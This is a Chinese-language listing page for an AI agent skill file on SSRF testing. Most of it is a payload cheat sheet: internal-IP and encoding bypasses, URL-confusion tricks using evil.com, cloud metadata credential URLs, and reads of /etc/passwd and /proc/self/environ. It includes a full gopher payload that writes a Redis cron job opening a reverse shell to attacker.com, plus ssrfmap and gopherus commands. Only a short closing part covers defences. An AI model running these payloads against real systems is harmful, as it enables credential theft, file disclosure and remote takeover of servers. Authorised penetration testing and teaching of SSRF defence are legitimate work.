在 Manus 中运行任何 Skill
一键导入
一键导入
一键在 Manus 中运行任何 Skill
开始使用ssrf-testing
星标4,897
分支795
更新时间2026年1月15日 14:00
SSRF服务器端请求伪造测试的专业技能和方法论
安装
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
SKILL.md
readonly菜单
SSRF服务器端请求伪造测试的专业技能和方法论
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
API安全测试的专业技能和方法论
业务逻辑漏洞测试的专业技能和方法论
云安全审计的专业技能和方法论
命令注入漏洞测试的专业技能和方法论
容器安全测试的专业技能和方法论
| name | ssrf-testing |
| description | SSRF服务器端请求伪造测试的专业技能和方法论 |
| version | 1.0.0 |
SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
常见功能:
测试本地回环:
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
测试内网IP:
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1
测试文件协议:
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
IP地址编码:
127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)
域名解析绕过:
127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me
URL重定向:
http://attacker.com/redirect → http://127.0.0.1
协议混淆:
http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1
端口扫描:
# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200
识别服务:
AWS EC2:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Google Cloud:
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
阿里云:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
访问管理后台:
http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin
Redis未授权访问:
http://127.0.0.1:6379
# 然后发送Redis命令
FastCGI攻击:
http://127.0.0.1:9000
# 利用FastCGI协议执行命令
发送任意协议数据:
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
Redis命令执行:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
端口扫描和信息收集:
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status
读取本地文件:
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ
# 基础扫描
python3 ssrfmap.py -r request.txt -p url
# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan
# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud
# 生成Gopher payload
python gopherus.py --exploit redis
检测盲SSRF:
http://burpcollaborator.net
# 观察是否有DNS/HTTP请求
URL白名单
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
禁用危险协议
IP地址过滤
import ipaddress
def is_internal_ip(ip):
return ipaddress.ip_address(ip).is_private or \
ipaddress.ip_address(ip).is_loopback
使用DNS解析验证
网络隔离